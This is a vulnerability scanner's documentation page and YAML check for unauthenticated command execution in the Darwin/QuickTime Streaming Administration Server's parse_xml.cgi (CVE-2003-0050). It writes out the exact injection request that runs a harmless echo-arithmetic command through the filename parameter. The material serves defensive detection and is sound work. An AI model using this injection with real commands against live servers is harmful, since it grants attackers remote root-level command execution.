Darwin Streaming Server — 1 vulnerability check
noctis ships 1 vulnerability check for Darwin Streaming Server, covering 7 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
QuickTime / Darwin Streaming Administration Server parse_xml.cgi Command Execution
| CVE | CVE-2003-0050, CVE-2003-0051, CVE-2003-0052, CVE-2003-0053, CVE-2003-0054, CVE-2003-0055, CVE-2003-1414 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Ports | 1220 |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/darwin-streaming-server/darwin-parse-xml-cgi.yaml |
Detects unauthenticated command execution in parse_xml.cgi, the Perl CGI of the QuickTime / Darwin Streaming Administration Server (Darwin Streaming Server 4.1.2, QuickTime Streaming Server 4.1.1, TCP 1220 by default). The script opens the `filename` parameter with Perl's two-argument open(), so a value ending in `|` is run by the shell, as the admin server user (often root), and its output is printed in the page. The feed requests parse_xml.cgi at the web root and under /AdminHTML with filename=true;echo NOCTIS`expr a - b`| (per-run random numbers), then, if the script answered without the marker, the same command written with $((a-b)). It reports only when the page contains NOCTIS followed by the computed difference, which only real shell execution can produce. Nothing is read or written on the target. The same update fixed the path disclosure, directory listing, cross-site scripting, traversal and MP3 module overflow flaws of the same release, so they are reported with it.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/parse_xml.cgi?filename=true%3Becho%20NOCTIS%60expr%20{{ov.a}}%20-%20{{ov.b}}%… - Checks
inj.bannerforNOCTIS→ finding QoD 97: parse_xml.cgi command execution confirmed via GET …/parse_xml.cgi?filename=true;echo NOCTIS`expr … - …`|: the shell printed NOCTIS… (a diff… - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/parse_xml.cgi?filename=true%3Becho%20NOCTIS%24%28%28{{ov.a}}-{{ov.b}}%29%29%7… - Checks
inj2.bannerforNOCTIS→ finding QoD 97: parse_xml.cgi command execution confirmed via GET …/parse_xml.cgi?filename=true;echo NOCTIS$((…-…))|: the shell printed NOCTIS… (a differen…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2003-0050
- https://marc.info/?l=bugtraq&m=104618904330226&w=2
- http://www.securityfocus.com/bid/6954
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb
- http://lists.apple.com/archives/security-announce/2003/Feb/25/applesa20030225macosx102.txt
Feed source — tests/vulnerabilities/darwin-streaming-server/darwin-parse-xml-cgi.yaml
# QuickTime / Darwin Streaming Administration Server parse_xml.cgi command execution
# (CVE-2003-0050) and the issues fixed with it (CVE-2003-0051/0052/0053/0054/0055,
# CVE-2003-1414) — @stake advisory 2003-02-24 "QuickTime/Darwin Streaming
# Administration Server Multiple vulnerabilities" (Dave G., Ollie Whitehouse),
# BID 6954 / 6990, Apple security update 2003-02-25. Affected: Darwin Streaming
# Server 4.1.2, QuickTime Streaming Server 4.1.1; admin server on TCP 1220.
#
# Credit: target paths adapted from Greenbone's `pre2008/quicktime_admin.nasl`
# (GPL-2.0-only), which requires "QuickTime" or "DSS/" in the HTTP headers and
# then only reports that <dir>/parse_xml.cgi exists, for /AdminHTML and the CGI
# dirs.
#
# Root cause (advisory: "passes unvalidated input to the open() function"):
# parse_xml.cgi takes the `filename` query/POST parameter, chdir()s to the admin
# server root and opens it with Perl's two-argument open(HTMLFILE, $filename).
# A value ending in `|` is run by /bin/sh as a read pipe, and the command's
# output is parsed as the page text and printed (no template tag in it means no
# authentication step). Public exploits: POST /parse_xml.cgi filename=;<cmd>|
# (FOX_MULDER exploit, milw0rm 2003-02-24; Metasploit qtss_parse_xml_exec). The fixed script refuses
# any filename outside [A-Za-z0-9_\-./] and checks -e before opening.
#
# Payload: filename=true;echo NOCTIS`expr <a> - <b>`| (GET, raw request so the
# query is sent byte for byte). `true;` rather than the exploits' leading `;`:
# with nothing in front of the value, `sh -c ";echo …"` is a syntax error on
# dash/bash; `true;` works with and without a prefix. Then, only if the script
# answered without the marker, the same command written with $((a-b)) (a shell
# without expr). a = 7-digit, b = 6-digit per-run random ints; the difference
# never appears in the request, so an error page that reflects the filename
# (the fixed script's "Can't access HTML file" message) cannot produce it. `-`
# rather than `+`: the CGI's query decoder turns `+` into a space.
#
# Better than the reference check (stated in the PR):
# * Real command execution is proven; the reference check only finds the
# script, which every fixed Darwin/QuickTime release still ships, so it
# flags patched servers too.
# * No Server-header gate: the admin server's banner differs between
# releases ("DSS 6.0 Admin Server/1.0" has no "DSS/"), and the proof does
# not need it. The web root of the admin server (where parse_xml.cgi lives
# on port 1220) is tried as well as /AdminHTML.
#
# CVE mapping: the probe proves CVE-2003-0050. The other IDs of the issue are
# the same advisory's flaws (path disclosure, directory listing, XSS in the
# error page, rtsp DESCRIBE log XSS on 7070, MP3 module overflow, "..."
# traversal), fixed by the same update, so a server that still runs the
# unfixed parse_xml.cgi carries them too. Not probed separately: no further
# benign proof beyond the one that already shows full command execution.
# CVE-2003-0054 (rtsp DESCRIBE log XSS, port 7070) and CVE-2003-0055 (MP3
# module overflow) sit in other components and are inferred from the unfixed
# release only. Note: exclude_cve matches on overlap, so excluding any of the
# seven IDs drops this check.
uid: e2318b61-9cf3-4c13-9282-3849946825a8
name: "QuickTime / Darwin Streaming Administration Server parse_xml.cgi Command Execution"
description: |
Detects unauthenticated command execution in parse_xml.cgi, the Perl CGI of
the QuickTime / Darwin Streaming Administration Server (Darwin Streaming
Server 4.1.2, QuickTime Streaming Server 4.1.1, TCP 1220 by default). The
script opens the `filename` parameter with Perl's two-argument open(), so a
value ending in `|` is run by the shell, as the admin server user (often
root), and its output is printed in the page. The feed requests
parse_xml.cgi at the web root and under /AdminHTML with
filename=true;echo NOCTIS`expr a - b`| (per-run random numbers), then, if the
script answered without the marker, the same command written with $((a-b)).
It reports only when the page contains NOCTIS followed by the computed
difference, which only real shell execution can produce. Nothing is read or
written on the target. The same update fixed the path disclosure, directory
listing, cross-site scripting, traversal and MP3 module overflow flaws of
the same release, so they are reported with it.
cves: [CVE-2003-0050, CVE-2003-0051, CVE-2003-0052, CVE-2003-0053, CVE-2003-0054, CVE-2003-0055, CVE-2003-1414]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [darwin-streaming-server, quicktime, qtss, cgi, perl, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
ports: [1220]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2003-0050"
- "https://marc.info/?l=bugtraq&m=104618904330226&w=2"
- "http://www.securityfocus.com/bid/6954"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb"
- "http://lists.apple.com/archives/security-announce/2003/Feb/25/applesa20030225macosx102.txt"
steps:
# a: 7 digits, b: 6 digits -> 7-digit difference, never equal to an operand.
- id: gen-tokens
action: script
code: |
let a = rand_int(5000000, 9999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, diff: "" + (a - b) }
store_as: ov
# ── Per location (admin server root, the reference check's /AdminHTML): this step and every following one ──
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init-expr
action: set_var
var_name: inj
var_value: {connected: false, banner: null}
loop:
over:
- ""
- "/AdminHTML"
var: dir
- id: init-arith
action: set_var
var_name: inj2
var_value: {connected: false, banner: null}
# filename=true;echo NOCTIS`expr a - b`|
- id: inject-expr
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/parse_xml.cgi?filename=true%3Becho%20NOCTIS%60expr%20{{ov.a}}%20-%20{{ov.b}}%60%7C HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10 # connect only; the reply is read for 3 s (checks/tcp.rs)
store_as: inj
- id: confirm-expr
action: match
source: inj.banner
pattern: "NOCTIS"
condition: "type_of(inj.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "parse_xml.cgi command execution confirmed via GET {{dir}}/parse_xml.cgi?filename=true;echo NOCTIS`expr {{ov.a}} - {{ov.b}}`|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the page"
stop: true
# filename=true;echo NOCTIS$((a-b))| — only when the script answered (not 404) without the marker.
- id: inject-arith
action: tcp_connect
condition: "type_of(inj.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] \", inj.banner) && !ereg(\"^HTTP/1\\\\.[01] 404\", inj.banner)"
port: "{{port}}"
send: "GET {{dir}}/parse_xml.cgi?filename=true%3Becho%20NOCTIS%24%28%28{{ov.a}}-{{ov.b}}%29%29%7C HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10 # connect only; the reply is read for 3 s (checks/tcp.rs)
store_as: inj2
- id: confirm-arith
action: match
source: inj2.banner
pattern: "NOCTIS"
condition: "type_of(inj2.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj2.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "parse_xml.cgi command execution confirmed via GET {{dir}}/parse_xml.cgi?filename=true;echo NOCTIS$(({{ov.a}}-{{ov.b}}))|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the page"
stop: true